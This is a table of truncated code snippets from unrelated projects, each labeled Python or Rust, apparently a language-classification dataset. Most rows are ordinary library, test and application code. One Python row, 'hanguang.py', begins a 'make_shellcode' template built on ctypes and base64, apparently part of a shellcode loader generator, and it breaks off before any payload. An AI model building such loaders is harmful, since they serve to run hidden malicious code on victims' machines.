text string | label_name string | labels int64 |
|---|---|---|
ection
fp_indexes = torch.argsort(inactive_instances.scores)[-num_fp:]
fp_track_instances = inactive_instances[fp_indexes]
merged_track_instances = Instances.cat(
[active_track_instances, fp_track_instances])
return merged_track_instances
... | Python | 1 |
x, yt)], a1);
let b2 = self.apply(arena, a2);
arena.mk_lam(y, b2)
} else {
let b1 = self.apply(arena, a1);
if a1 == b1 { return a }
arena.mk_lam(x, b1)
}
_ => a
}
}
}
#[derive(Debug, Clone)]
#[derive(Default)] // FIXME
pub struct OwnedType {
pub arena: ... | Rust | 0 |
who: AccountId,
}
// block timestamped value
#[derive(Encode, Decode, Default, Debug, PartialEq, TypeInfo, Clone)]
pub struct Price<PriceValue, BlockNumber> {
/// value
pub price: PriceValue,
pub block: BlockNumber,
}
#[derive(Encode, Decode, Default, Debug, PartialEq, Clone, TypeInfo)]
pub struct Asset... | Rust | 0 |
t_(0x10000000, 32)),
("$a1", const_(32, 32)),
("$lo", const_(1, 32)),
("$hi", const_(2, 32)),
],
Memory::new(Endian::Big),
"$hi",
);
assert_eq!(result.value_u64().unwrap(), 4);
let result = get_scalar(
&[0x70, 0x85, 0x00, 0x01],
ve... | Rust | 0 |
ult=0.025, type=float,
help="the threshold for computing overlap ratio")
# parser.add_argument("--overlap_radius", default=0.1, type=float,
# help="the threshold for computing overlap ratio")
parser.add_argument("--overlap_ratio_min", default=0.10, type=float,
... | Python | 1 |
#!/usr/bin/env python2.4
"""usage: %progname candidate_path baseline_path
"""
import json
import optparse
from contextlib import nested
from operator import itemgetter
def avg(seq):
return sum(seq) / len(seq)
def compare(current, baseline):
percent_speedups = []
for key, current_result in current.iteri... | Python | 1 |
': 'duration', 'Type': 'string'},
{'Name': 'genre', 'Type': 'string'},
{'Name': 'preview_music_url', 'Type': 'string'},
{'Name': 'release_date', 'Type': 'string'},
{'Name': 'song_url', 'Type': 'string'},
... | Python | 1 |
);
let offset8 = if self.add_offset_flag() {
offset8
} else {
(-(offset8 as i32)) as u32
};
BarrelShifterValue::ImmediateValue(offset8)
}
#[inl... | Rust | 0 |
"""
自动调度器模块
负责定时任务和自动分析功能
"""
import asyncio
from datetime import datetime, timedelta
from typing import Optional
from astrbot.api import logger
class AutoScheduler:
"""自动调度器"""
def __init__(self, config_manager, message_handler, analyzer, report_generator, bot_manager, html_render_func=None):
self.... | Python | 1 |
o": args.ratio,
"validation_mode": args.validation_mode,
"action_block_mode": args.action_block_mode,
"component_ratios": component_ratios,
"compatibility_threshold": args.compatibility_threshold,
"merge_time": merge_duration,
"merge_date": time.st... | Python | 1 |
_range: F,
) {
let aux = match aux {
Some(aux) => aux,
None => (self.null_var, F::zero()),
};
let index = self.n;
self.permutation.insert_gate(aux.0, l.0, r.0, o.0, index);
self.w_0.push(aux.0);
self.w_1.push(l.0);
self.w_2.push(r.0);... | Rust | 0 |
# -------------------PROBLEM STATEMENT:
'''
Write a program which prompts the user to type an affirmation of your choice (we'll use "I am capable of doing anything I put my mind to.") until they type it correctly.
'''
# default affirmation in string
affirmation = "I am constantly learning and growing, expanding my kno... | Python | 1 |
.map_err(|index| index + 1),
}
}
/// Binary searches this sorted non-empty vector with a key extraction
/// function.
///
/// Assumes that the vector is sorted by the key.
///
/// If the value is found then Result::Ok is returned, containing the index
/// of the matchin... | Rust | 0 |
from pyroute2.common import uifname
def test_impl_lookup(sync_ipr, test_link_ifname):
assert len(sync_ipr.link_lookup(ifname=test_link_ifname)) == 1
def test_impl_add_bridge(sync_ipr):
brname = uifname()
args = {
'ifname': brname,
'kind': 'bridge',
'IFLA_BR_FORWARD_DELAY': 0,
... | Python | 1 |
self, ranges: /*Ignored*/&mut Range) {
// unsafe { TODO: call ffi:soup_message_headers_free_ranges() }
//}
#[doc(alias = "soup_message_headers_get")]
pub fn get(&mut self, name: &str) -> Option<glib::GString> {
unsafe {
from_glib_none(ffi::soup_message_headers_get(self.to_glib_n... | Rust | 0 |
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# @Time : 2021/3/23 13:46
# @Author : ordar
# @File : hanguang.py
# @Project : HanGuang
# @Python : 3.7.5
import base64
import os
import re
from modle.autor import AUTOR
import sys
auto = AUTOR()
make_shellcode = """
import ctypes,base64,time
command1
sh... | Python | 1 |
it ctx.send(embed=ban_embed)
print("Embed envoyé avec succès.")
except discord.Forbidden:
await ctx.send("Je n'ai pas la permission de bannir ce membre.")
except discord.HTTPException as e:
await ctx.send(f"Une erreur est survenue lors de l'envoi de l'embed : {e}")
# -------------------... | Python | 1 |
-> DResult<'_, Opt> {
dissect_body(buf, OptionType::Mtur, |buf| {
map(u16::decode_be, |sid| Opt::Mtur(MTU(sid)))(buf)
})
}
fn dissect_finn(buf: &[u8]) -> DResult<'_, Opt> {
dissect_body(buf, OptionType::Finn, |buf| {
map(rest, |data| Opt::Finn(Vec::from(data)))(buf)
})
}
fn dissect_vi... | Rust | 0 |
use serde::{Deserialize, Serialize};
use time::{macros::format_description, Date};
const RUST_BLOG_ROOT: &str = "https://blog.rust-lang.org/";
/// Versions that have been cut are either stable, beta or nightly.
#[derive(Copy, Clone, Debug, PartialEq, Eq, Deserialize, Serialize)]
#[serde(rename_all = "lowercase")]
pub... | Rust | 0 |
),
"Version {} is not installed, see 'rim list'",
ver
);
true
}
fn check_has_pak(ver: &String) -> bool {
let ver = Regex::new("-.*$").unwrap().replace(ver, "").to_string();
let ver = ver + ".0";
let v330 = Version::parse("3.2.0").unwrap();
let vv = Version::parse(&ver).unwrap();... | Rust | 0 |
(buf)
}
pub fn capture_fd3_status(mut cmd: Command)
-> Result<(ExitStatus, Vec<u8>), String>
{
cmd.file_descriptor(3, Fd::piped_write());
info!("Running {}", cmd_show(&cmd));
let mut child = cmd.spawn()
.map_err(|e| format!("{}", e))?;
let mut buf = Vec::with_capacity(1024);
child.take_... | Rust | 0 |
esponse(
user_id=updated_profile['user_id'],
display_name=updated_profile['display_name'],
created_at=str(updated_profile['created_at']),
updated_at=str(updated_profile['updated_at'])
)
else:
raise HTTPException(
... | Python | 1 |
cutorProxy, MempoolNotifier> {
// Generate a genesis change set
let (genesis, _) = vm_genesis::test_genesis_change_set_and_validators(Some(1));
// Create test diem database
let db_path = diem_temppath::TempPath::new();
db_path.create_as_dir().unwrap();
let (db, db_rw) = ... | Rust | 0 |
e: String,
pub docs: i64,
pub health: String,
pub index_name: String,
pub number_of_replicas: i64,
pub number_of_shards: i64,
pub read_only_allow_delete: bool,
pub size: u64,
pub status: String,
}
#[derive(Deserialize, Serialize, Debug, Default)]
pub struct Indexes {
pub indexes: Vec<Index>,
}
#[derive(Deser... | Rust | 0 |
fox, browser_equals_chrome],
},
),
]
for query_filters, dashboard_filters, expected_filters in test_cases:
query_insight = Insight.objects.create(
team=self.team,
query={
"kind": "DataTableNode",
... | Python | 1 |
t_type_CR2SUMO:
default_country = SupportedTrafficSignCountry.ZAMUNDA
logging.warning(f"country {country_id} not supported, falling back to {default_country}")
country_id = default_country
path = os.path.join(TEMPLATES_DIR, f"{country_id.value}.typ.xml")
try:
with open(path, "r")... | Python | 1 |
# def validar(a):
# c = 0
# d = 0.0
# try:
# c = int(a)
# print('Es un valor numerico, sin decimales')
# except ValueError:
# print('No es valor numerico, sin decimales')
# try:
# d = float(a)
# print('Es un valor numerico, con decimales')
# except Valu... | Python | 1 |
is_letter(ch: u8) -> bool {
b'a' <= ch && ch <= b'z' || b'A' <= ch && ch <= b'Z' || ch == b'_' || ch == b'$'
}
fn is_hex_digit(ch: u8) -> bool {
b'a' <= ch && ch <= b'f' || b'A' <= ch && ch <= b'F' || ch == b'x'
}
fn is_digit(ch: u8) -> bool {
b'0' <= ch && ch <= b'9'
}
#[test]
fn test_test_longjmp2() {
... | Rust | 0 |
d io;
mod net;
mod notify;
mod poll;
mod sys;
mod timer;
mod token;
pub use event::{
PollOpt,
EventSet,
};
pub use event_loop::{
EventLoop,
EventLoopConfig,
Sender,
};
pub use handler::{
Handler,
};
pub use io::{
TryRead,
TryWrite,
Evented,
TryAccept,
};
pub use net::{
tcp,
... | Rust | 0 |
to the window size
# If you want to keep the pixelated look:
scaled_surface = pygame.transform.scale(virtual_screen, (WINDOW_WIDTH, WINDOW_HEIGHT))
# If you want to smooth things out:
#scaled_surface = pygame.transform.smoothscale(virtual_screen, (WINDOW_WIDTH, WINDOW_HEIGHT))
window.blit(scaled_sur... | Python | 1 |
import pandas as pd
import os
import matplotlib.pyplot as plt
def load_cleaned_data(path):
return pd.read_csv(path)
def plot_distribution(df, col, output_dir):
os.makedirs(output_dir, exist_ok=True)
counts = df[col].value_counts(dropna=False)
fig = plt.figure()
counts.plot(kind='bar', title=col)
... | Python | 1 |
CrateInfo::new(),
git_info: GitInfo::new(),
},
disable_workspace: false,
disable_on_error: false,
cli_arguments: None,
};
tasks.insert("$name".to_string(), (flow_info, step));
"#.to_string()
.replace("$command", &task.command.to_rust())
... | Rust | 0 |
UNITS_DICT[unit])
else:
if unit == "q":
multiple *= 3
np_unit = "M"
elif unit == "mo":
np_unit = "M"
else:
np_unit = "Y"
arr = native.values # noqa: PD011
... | Python | 1 |
od platter.
///
/// Direction: Client -> Server.
pub struct PlaceFood {
const TAG = 133;
pub x: i16,
pub y: i16,
pub item_id: i16,
pub prefix: u8,
pub stack: i16,
}
}
<gh_stars>100-1000
//! Tests auto-converted from "sass-spec/spec/core_functions/color/hw... | Rust | 0 |
ngConfig { source: ConfigError },
}
impl Display for LogoutError {
fn fmt(&self, f: &mut Formatter<'_>) -> FmtResult {
f.write_str("loging out failed")
}
}
impl Error for LogoutError {
fn source(&self) -> Option<&(dyn Error + 'static)> {
match self {
Self::DeletingConfig { sour... | Rust | 0 |
/*
* Example 3: Pulled Low input to Output, set high
*/
let output_pin = pulled_low.into_enabled_output();
output_pin.set_bit(true);
// Can't do this, output pins don't have this interface!
// output_pin.into_input_pull_down();
}
/// GPIO interface
struct GpioConfig<ENABLED, DIRECTION, MODE> ... | Rust | 0 |
self.model = None
self.tokenizer = None
self.dataset = None
self.validation_data = None
self.system_prompt = None
def load_data(self, data_path: str, model_name: str = None, system_prompt: str = None) -> None:
"""Загружает данные для обучения
Arg... | Python | 1 |
seed)?;
println!("{}", pub_key.account()?);
}
KeysCommand::List => {
let keys = wallet.list()?;
println!("{:#?}", keys);
}
}
Ok(())
}
#![crate_type = "rlib"]
#![crate_name = "ctru"]
#![feature(fnbox)]
#![feature(thread_local_state)]
#[macro_use]
ex... | Rust | 0 |
S-HG" => "Soria (Province)",
"1DSE-ES-HGA" => "Soria (City)",
"1DSE-ES-HH" => "Valladolid (Province)",
"1DSE-ES-HHA" => "Valladolid (City)",
"1DSE-ES-HJ" => "Zamora (Province)",
"1DSE-ES-HJA" => "Zamora (City)",
"1DSE-ES-J" => "Catalonia",
"1DSE-ES-JA" => "Barcelona (Province)",
"1DSE-ES... | Rust | 0 |
import asyncio
from async_timeout import timeout
from gsuid_core.bot import Bot
from gsuid_core.sv import SL, SV
from gsuid_core.models import Event
from gsuid_core.logger import logger
from gsuid_core.message_models import Button
from gsuid_core.segment import MessageSegment
from gsuid_core.subscribe import gs_subsc... | Python | 1 |
Clean"]),
(".applescript", &["AppleScript"]),
(".d", &["Makefile", "DTrace", "D"]),
(".admx", &["XML"]),
(".webapp", &["JSON"]),
(".em", &["EmberScript"]),
(".gco", &["G-code"]),
(".jsproj", &["XML"]),
(".3in", &["Roff", "Roff Manpage"]),
(".psgi",... | Rust | 0 |
atform: None,
required_extensions: Some(&[KHR_GET_PHYSICAL_DEVICE_PROPERTIES2_EXTENSION.name]),
required_version: None,
deprecated_by: None,
obsoleted_by: None,
promoted_to: None,
};
/// <https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/VK_EXT_conditional_rendering.html>
#[allo... | Rust | 0 |
c_void,
) -> c_void;
/// * size:
#[link_name = "?MemAlloc@ImGui@@YAPEAX_K@Z"]
pub fn MemAlloc(
size: u64,
) -> *mut c_void;
/// * ptr:
#[link_name = "?MemFree@ImGui@@YAXPEAX@Z"]
pub fn MemFree(
ptr: *mut c_void,
) -> c_void;
#[link_name = "?GetPlatformIO@ImGu... | Rust | 0 |
Remove temporary land IGs
printLog(log, ">>> Remove temporary land IGs <<<")
mkPath(log, ExportBuildDirectory + "/" + IgTempLandMergeBuildDirectory)
removeFilesRecursive(log, ExportBuildDirectory + "/" + IgTempLandMergeBuildDirectory)
# Remove outdated land IGs
printLog(log, ">>> Remove outdated land IGs <<<")
igFile... | Python | 1 |
{ 'smiles': 'CC(C)CCCCCCCCCC(=O)SCCNC(=O)CCNC(=O)[C@H](O)C(C)(C)COP(O)(=O)OP(O)(=O)OC[C@H]1O[C@H]([C@H](O)[C@@H]1OP(O)(O)=O)n1cnc2c(N)ncnc12',
'name': 'isotridecanoyl-CoA',
'reason': 'Acyl chain has 13 carbons, '
... | Python | 1 |
new_with_config(&mut config);
root_child1.set_min_width(StyleUnit::Auto);
root_child1.set_height(StyleUnit::Point((10 as f32).into()));
root_child1.set_min_height(StyleUnit::Auto);
root.insert_child(&mut root_child1, 1);
let mut root_child2 = Node::new_with_config(&mut config);
root_child2.set_min_width(StyleUni... | Rust | 0 |
import pytest
from pydantic import ValidationError
from inference.core.workflows.core_steps.models.foundation.ocr.v1 import BlockManifest
@pytest.mark.parametrize("type_alias", ["roboflow_core/ocr_model@v1", "OCRModel"])
@pytest.mark.parametrize("images_field_alias", ["images", "image"])
def test_ocr_model_validatio... | Python | 1 |
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | Python | 1 |
Fq::new(U256([166365676746880051357185694330614395245, 44422629177536239628987108174157680084])).unwrap(),
Fq::new(U256([188797990739833756731082975171894736944, 643465180603364587407484249282263717])).unwrap(),
),
Fq2::new(
Fq... | Rust | 0 |
label_list = list()
bbox_target_list = list()
bbox_weight_list = list()
anchors_num_range = [0] + anchors_num_list
for i in range(len(feat_strides)):
feat_height, feat_width = feat_infos[i]
A = A_list[i]
label = labels[sum(anchors_num_range[:i+1]):sum(anchors_num_range[:i+1])+anc... | Python | 1 |
import reflex as rx
from ..components.navUp import VentanasNav
from ..components.footerDown import VentanasFooter
@rx.page(route="/acercade", title="Acerca de")
def AcercaDe() -> rx.Component:
return VentanasNav.navbar(), rx.box(
rx.container(
rx.vstack(
rx.text("Acerca de Time... | Python | 1 |
"""
307. Range Sum Query - Mutable
"""
from typing import List
class NumArray:
def __init__(self, nums: List[int]):
self.segTree = [0]*len(nums)+nums
for i in range(len(nums)-1,0,-1):
self.segTree[i] = self.segTree[i<<1] + self.segTree[i<<1|1]
self.n = len(nums)
def update... | Python | 1 |
'-> div.__azul-native-table-cell
Dom::div()
.with_class("__azul-native-table-container")
.with_child(
Dom::div()
.with_class("__azul-native-table-row-number-wrapper")
.with_child(
// Empty rectangle at the top left of the table
... | Rust | 0 |
IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//! Tests related to transaction logic.
use exonum::{
crypto::gen_keypair,
runtime::{
rust::{DefaultInstance, ... | Rust | 0 |
from fastapi import APIRouter
from .materials.router import admin_materials as admin_materials_router
from .partners.router import admin_partners as admin_partners_router
from .partners_bid.router import admin_partners_bid as admin_partners_bid_router
from .products.router import admin_products as admin_products_route... | Python | 1 |
import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)
# Input data files are available in the read-only "../input/" directory
# For example, running this (by clicking run or pressing Shift+Enter) will list all files under the input directory
import os
for dirname, ... | Python | 1 |
from_assignment(a: &'a mut Assignment) -> NodeMut {
match *a {
Assignment::Variable(ref mut v) => NodeMut::VariableAssgn(v),
Assignment::Member(ref mut m) => NodeMut::MemberAssgn(m),
}
}
}
/// VisitorMut is used by `walk_mut` to recursively visit a semantic graph and mutate... | Rust | 0 |
_at_min)
for find_activate, product_dict in product_generator:
if find_activate:
yield product_dict
# product_id_online2original_reader = pd.read_csv(product_id_online2original_mapping_filePath, sep='\t', dtype=str,
# ... | Python | 1 |
ze).collect();
words.join(" ")
}
}
#[test]
fn test() {
let s = "Hello how are you Contestant".to_string();
let k = 4;
let res = "Hello how are you".to_string();
assert_eq!(Solution::truncate_sentence(s, k), res);
}
<reponame>thorhs/rust-stellar-xdr<filename>build.rs
extern crate multi_reade... | Rust | 0 |
ers=False) # not ideal
tenUpsample = self.netDisparityThr(torch.cat([ tenImageTwo, tenUpsample ], 1)); tenImageTwo = None
if tenUpsample.shape != tenImageOne.shape: tenUpsample = torch.nn.functional.interpolate(input=tenUpsample, size=(tenImageOne.shape[2], tenImageOne.shape[3]), mode='bilinear', align_corners=Fals... | Python | 1 |
R_MOVE = {
20: 2, 23: 5, 26: 8,
47: 20, 50: 23, 53: 26,
36: 53, 39: 50, 42: 47,
2: 42, 5: 39, 8: 36,
33: 27, 30: 28, 27: 29,
34: 30, 31: 31, 28: 32,
35: 33, 32: 34, 29: 35
}
L_MOVE = {
0: 18, 3: 21, 6: 24,
18: 45, 21: 48, 24: 51,
45: 44, 48: 41, 51: 38,
44: 0, 41: 3, 38: 6,
... | Python | 1 |
"""Control Yeelight bluetooth lamp."""
import logging
from homeassistant.components.bluetooth import (
async_ble_device_from_address,
async_scanner_count,
)
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import CONF_MAC
from homeassistant.core import HomeAssistant
from homeassist... | Python | 1 |
]
#[derive(Clone, Copy, Debug, Eq, PartialEq, Hash)]
#[repr(C)]
pub enum ISAExt {
INVALID = 0,
ADOX_ADCX = 1,
AES = 2,
AMD3DNOW = 3,
AVX = 4,
AVX2 = 5,
AVX2GATHER = 6,
AVX512EVEX = 7,
AVX512VEX = 8,
AVXAES = 9,
BASE = 10,
BMI1 = 11,
BMI2 = 12,
CET = 13,
CLDEMO... | Rust | 0 |
");
//! assert_ne!(sym0, sym1);
//! assert_ne!(sym0, sym2);
//! assert_ne!(sym1, sym2);
//! assert_eq!(sym1, sym3); // same!
//! ```
//!
//! ### Example: Creation by `FromIterator`
//!
//! ```
//! # use string_interner::StringInterner;
//! let interner = vec!["Elephant", "Tiger", "Horse", "Tiger"]
//! .into_iter()
... | Rust | 0 |
o.gated in ["auto", "manual"],
"indexed": True,
"indexed_at": aware_to_naive_dt(dt.datetime.utcnow()),
"labels": ["Model"],
}
node_relationships = []
base_model_extractors = {
"tags": {
"func": extract_base_models_from_tags,
"args": [model_info.tags or... | Python | 1 |
"query": query,
"collection_id": collection_id
})
# 如果有引用数据,通过回调传递
... | Python | 1 |
Windows,
Linux,
}
}
#[derive(Clone, Debug, PartialEq, Serialize, Deserialize)]
pub struct EncryptionSettingsCollection {
pub enabled: bool,
#[serde(rename = "encryptionSettings", default, skip_serializing_if = "Vec::is_empty")]
pub encryption_settings: Vec<EncryptionSettingsElement>,
}
impl En... | Rust | 0 |
t.details_by_id(post_id)()
img_url = comment_details.reply_content['thumbnail']['name']
url = comment_details.url
except (KeyError, Comment.DoesNotExist):
img_url = ""
return "<a href='%s'><img class='content' src='%s'></a>" % (url, img_url)
@global_tag
def get_img_url(url, image_size=... | Python | 1 |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: object_detection/protos/matcher.proto
"""Generated protocol buffer code."""
from google.protobuf.internal import builder as _builder
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_p... | Python | 1 |
New feature");
let all_changelogs = ["CHANGELOG.md", "CHANGES.md"];
for file in all_changelogs {
copy(source_path.join("CHANGELOG.md"), temp_path.join(file)).unwrap();
}
if let Some(changelog_name) = changelog {
copy(
source_path.join(format!("{changelog_name}_knope.toml"))... | Rust | 0 |
.
let handle = attached_type.load(&fixtures.ecs_manager).unwrap();
let card_type = handle.get().unwrap();
let type_data: MockTypeData = card_type.get_component().unwrap().unwrap();
assert_eq!(type_data.title, "Foo");
assert_eq!(type_data.character, "Alice");
}
}
// Copyright... | Rust | 0 |
r_set', related_query_name='user', to='auth.group', verbose_name='groups')),
('user_permissions', models.ManyToManyField(blank=True, help_text='Specific permissions for this user.', related_name='user_set', related_query_name='user', to='auth.permission', verbose_name='user permissions')),
]... | Python | 1 |
inp.attr("value").ok_or(ParseError::InvalidFormInputField)?,
);
}
}
let resp = self
.client
.post(url)
.form(&data)
.send()
.await?
.text()
.await?;
get_token_from_... | Rust | 0 |
fmt::Debug + 'static,
{
fn from(err: smithy_http::result::SdkError<crate::error::UpdatePartnerStatusError, R>) -> Self {
match err {
smithy_http::result::SdkError::ServiceError { err, .. } => match err.kind {
crate::error::UpdatePartnerStatusErrorKind::ClusterNotFoundFault(inner)... | Rust | 0 |
def removeElement(nums, val):
n = len(nums) - 1 # Initialize the pointer for the last element
i = 0
while i <= n:
if nums[i] == val:
nums[i] = nums[n] # Replace the element at i with the element at n
n -= 1 # Shrink the size of the valid array
else:
i +... | Python | 1 |
from django.db import models
class Changeset(models.Model):
changeset_id = models.BigIntegerField(unique=True)
created_at = models.DateTimeField(null=True)
closed_at = models.DateTimeField(null=True, blank=True)
open = models.BooleanField(null=True)
changes_count = models.IntegerField(null=True)
... | Python | 1 |
"Spatial ref from ogc naming to wkt:\n{:?}\n",
spatial_ref3.to_wkt()?
);
let spatial_ref4 = SpatialRef::from_epsg(4326)?;
println!(
"Spatial ref from epsg code to wkt:\n{:?}\n",
spatial_ref4.to_wkt()?
);
println!(
"Spatial ref from epsg code to pretty wkt:\n{:... | Rust | 0 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
市场研究工作流主脚本
用于执行完整的市场研究工作流程
"""
import os
import sys
import argparse
import logging
from dotenv import load_dotenv
from research_workflow import ResearchWorkflow
# 配置日志
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s... | Python | 1 |
,
0x007e808080808000,
0x7e01010101010100,
0x7c02020202020200,
0x7a04040404040400,
0x7608080808080800,
0x6e10101010101000,
0x5e20202020202000,
0x3e40404040404000,
0x7e80808080808000,
];
const bishop: [u64; 64] = [
0x0040201008040200,
0x0000402010080400,
0x0000004020100a00... | Rust | 0 |
HSIRDYF OFFSET(2) NUMBITS(1) [],
/// LSE ready interrupt flag
LSERDYF OFFSET(1) NUMBITS(1) [],
/// LSI ready interrupt flag
LSIRDYF OFFSET(0) NUMBITS(1) []
],
APB2RSTR [
/// TIM20 reset
TIM20RST OFFSET(20) NUMBITS(1) [],
/// TIM17 reset
TIM17RST OF... | Rust | 0 |
d[(-xs3 - xs - 2 + 4) as usize]
+ d[(-xs3 - 2 + 4) as usize]
+ d[(-xs - xs - 1 + 4) as usize]
+ d[(-xs - 1 + 4) as usize]
+ d[(0 + 4) as usize]
+ d[(xs + 4) as usize]
+ d[(xs + xs + 1 + 4) as usize]
+ d[(xs3 + 1 + 4) as usize];
... | Rust | 0 |
def relu(x):
return np.maximum(0.0, x)
| Python | 1 |
_Name = Name
@property
def Id(self):
return self._Id
@Id.setter
def Id(self, Id):
self._Id = Id
def _deserialize(self, params):
self._Url = params.get("Url")
self._Name = params.get("Name")
self._Id = params.get("Id")
memeber_set = set(params.keys(... | Python | 1 |
# Copyright (c) 2015, Google Inc.
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WA... | Python | 1 |
"""
_ssl_compat.py
websocket - WebSocket client library for Python
Copyright 2024 engn33r
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless req... | Python | 1 |
>::empty_mut().store_be::<u8>(0);
}
//#[test]
//#[should_panic]
pub fn bsm16_sb16_empty() {
BitSlice::<Msb0, u16>::empty_mut().store_be::<u16>(0);
}
//#[test]
//#[should_panic]
pub fn bsm16_sb32_empty() {
BitSlice::<Msb0, u16>::empty_mut().store_be::<u32>(0);
}
//#[cfg(target_pointer_width = "64")]
//#[test]
//#[s... | Rust | 0 |
#!/usr/bin/env python
# vim: set fileencoding=utf-8
#
# Merges ASR-decoded confusion networks from several files produced by
# multiple runs of the script `get_jasr_confnets.py' into one file.
#
# 2013-06
# Matěj Korvas
from __future__ import unicode_literals
import codecs
from collections import Counter
def find_b... | Python | 1 |
ushButton.setGeometry(QtCore.QRect(240, 350, 51, 29))
self.pushButton.setObjectName("pushButton")
self.retranslateUi(Codeml)
QtCore.QMetaObject.connectSlotsByName(Codeml)
self.model.activate.connect(Codeml.update_model)
self.pushButton.released.connect(Codeml.run)
#QtCor... | Python | 1 |
def square(n):
for i in range(1, n + 1):
yield i * i
n = int(input())
for i in square(n):
print(i)
| Python | 1 |
MNT6p::<P>::ate_precompute_g2(&point).unwrap()
}
}
impl<P: MNT6Parameters> Default for G2Prepared<P> {
fn default() -> Self {
Self::from(G2Affine::<P>::prime_subgroup_generator())
}
}
use skulpin::skia_safe::Color4f;
#[derive(new, PartialEq, Debug, Clone)]
pub struct Colors {
pub foreground: O... | Rust | 0 |
#!/usr/bin/env python3
import os
import re
import json
import sys
def list_to_json(lst, level):
curlst = lst
sublst = []
children = None
for i in range(0,len(curlst)):
j = i
levelact = curlst[i].replace(curlst[i].lstrip(),'').count('\t')
if level == levelact:
if i < ... | Python | 1 |
<RedisKey>,
{
let key = key.into();
let frame = utils::request_response(inner, move || {
let mut args = Vec::with_capacity(4);
args.push(key.into());
args.push(src);
args.push(dest);
if let Some(unit) = unit {
args.push(unit.to_str().into());
}
Ok((RedisCommandKind::GeoDist, args... | Rust | 0 |
-Than Sign"), ];
pub fn check_for_substitution<'a>(reader: &StringReader<'a>,
ch: char,
err: &mut DiagnosticBuilder<'a>) {
UNICODE_ARRAY
.iter()
.find(|&&(c, _, _)| c == ch)
.map(|&(_, u_name, ascii_char)| {
let span = make_spa... | Rust | 0 |
_number.starts_with("7") { return "GPN"; }
if credit_number.starts_with("8") { return "GPN"; }
if credit_number.starts_with("9") { return "GPN"; }
if credit_number.starts_with("4") { return "Visa"; }
// 622126–622925: China UnionPay co-branded
// 60400100–60420099: UkrCard
// 3528–3589: J... | Rust | 0 |
import sys
if sys.version_info >= (3, 12):
from typing import override
else:
from typing_extensions import override
from ..routes import Route
class QueryEntry:
"""Class representing information about an asset. Information
is represented as a string representing the URI of the asset
but addition... | Python | 1 |
)
inactive time: 6530 ms
rx bytes: 74003941
rx packets: 75242
tx bytes: 31834401
tx packets: 46661
tx retries: 1625
tx failed: 359
rx drop misc: 7
signal: -83 [-86, -86, -100, -100] dBm
signal avg: -85 [-90, -89, -100, -100] dBm
tx bitrate: ... | Rust | 0 |
info&arg[]=pkg1&arg[]=pkg2&…
/// See: https://wiki.archlinux.org/index.php/Aurweb_RPC_interface#info_2
#[derive(Deserialize)]
struct AurPackageInfoResult {
#[serde(rename(deserialize = "results"))]
results: AurPackageInfo,
}
/// For data from https://aur.archlinux.org/rpc/?v=5&type=info&arg[]=pkg1&arg[]=pkg2&…... | Rust | 0 |
# This file was auto-generated by Fern from our API Definition.
from ..core.unchecked_base_model import UncheckedBaseModel
from .moderation_status_response_model_safety_status import ModerationStatusResponseModelSafetyStatus
from .moderation_status_response_model_warning_status import ModerationStatusResponseModelWarn... | Python | 1 |
2out2(&self) -> bool {
*self == CFG22R::A2OUT2
}
#[doc = "Checks if the value of the field is `A1OUT`"]
#[inline]
pub fn is_a1out(&self) -> bool {
*self == CFG22R::A1OUT
}
#[doc = "Checks if the value of the field is `A6OUT`"]
#[inline]
pub fn is_a6out(&self) -> bool {
... | Rust | 0 |
fn add_policy(&mut self, params: Vec<String>) -> Result<bool>;
async fn remove_policy(&mut self, params: Vec<String>) -> Result<bool>;
async fn add_policies(&mut self, paramss: Vec<Vec<String>>) -> Result<bool>;
async fn remove_policies(&mut self, paramss: Vec<Vec<String>>) -> Result<bool>;
async fn re... | Rust | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.